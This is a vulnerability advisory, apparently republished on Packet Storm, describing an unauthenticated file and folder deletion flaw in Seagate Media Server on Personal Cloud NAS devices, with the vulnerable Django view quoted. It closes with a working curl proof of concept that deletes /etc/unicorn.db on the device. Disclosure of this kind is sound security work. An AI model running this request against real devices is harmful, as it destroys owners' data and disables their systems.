exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Seagate Media Server Arbitrary File / Folder Deletion

Seagate Media Server Arbitrary File / Folder Deletion
Posted Jan 15, 2018
Authored by Yorick Koster, Securify B.V.

Seagate Media Server on a Seagate Personal Cloud model SRN21C running firmware version 4.3.16.0 suffers from an unauthenticated arbitrary file and folder deletion vulnerability.

tags | exploit, arbitrary
SHA-256 | f3f389a36fe31dac25043a5e92d7942a029fddff9e00419ed4f652efc9e5e14c

Seagate Media Server Arbitrary File / Folder Deletion

Change Mirror Download
------------------------------------------------------------------------
Seagate Media Server allows deleting of arbitrary files and folders
------------------------------------------------------------------------
Yorick Koster, September 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Seagate Personal Cloud is a consumer-grade Network-Attached Storage
device (NAS). It was found that Seagate Media Server can be used by
unauthenticated attackers to delete arbitrary files and folders on the
NAS. Since Seagate Media Server is running with root privileges it is
possible to remove almost any file on the NAS. The application lacks
protection against CSRF attacks, and is accessible via the
personalcloud.local domain name. Due to this it is possible to exploit
this issue via a malicious website without requiring the NAS to be
directly accessible over the internet.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on a Seagate Personal Cloud model SRN21C running
firmware version 4.3.16.0. It is likely that other devices/models are
also affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Seagate has released firmware version 4.3.18.0 in which the vulnerable
endpoint is no longer exposed, which as a result fixes this issue.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2017/seagate-media-server-allows-deleting-of-arbitrary-files-and-folders.html


Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
)),
".psp/"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. The delete view is mapped to the delete.psp URL path. This views allows users to delete files from shares.

(r'^m/delete.psp', delete),
(r'^delete.psp', delete),

The delete.psp endpoint is accessible for unauthenticated users. No validation is performed on the paths that are provided to this endpoint. Consequently, any path can be provided and the application will attempt to remove the provided path(s).

/usr/lib/django_host/seagate_media_server/views.py:

@csrf_exempt
def delete(request):
if (checkDBSQLite()) : return render_to_response("database_init.html")
#syslog.syslog("delete()")
try: #D.L. 1/19/2013 If exception happens - return stat: failed

pathToDelete = request.POST.get('pathToDelete','')
#logDebug("pathToDelete: '%s'", pathToDelete)
fileFolderPath = json.loads(pathToDelete)
some_files_do_not_exist = False #D.L. 1/19/2013
data = fileFolderPath["data"]
if data.has_key("folders") and data["folders"] != '':
for folder in data["folders"]:
folder = urllib.unquote(folder.encode('utf-8'))
#syslog.syslog("folder %s" % folder)
if os.path.isdir(folder): #D.L. 1/19/2013
DBRecords.Records().callDatabaseDelete(folder,PriorityLevel.UI)
shutil.rmtree(folder)
else: #D.L. 1/19/2013
#syslog.syslog("folder %s is not a dir" % folder)
some_files_do_not_exist = True #D.L. 1/19/2013

if data.has_key("files") and data["files"] != '':
for file in data["files"]:
file = urllib.unquote(file.encode('utf-8'))
#syslog.syslog("file %s" % file)
if os.path.exists(file): #D.L. 1/19/2013
DBRecords.Records().callDatabaseDelete(file,PriorityLevel.UI)
os.remove(file)
else: #D.L. 1/19/2013
#syslog.syslog("file %s does not exist" % file)
some_files_do_not_exist = True #D.L. 1/19/2013
[...]

Proof of concept

The curl command below uses the delete.psp endpoint to delete the /etc/unicorn.db file, effectively disabling the management web application.

curl -i -s -k -X $'POST' \
--data-binary $'pathToDelete={\"data\":{\"folders\":[\"/etc/unicorn.db\"]}}' \
$'https://personalcloud.local/delete.psp'


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close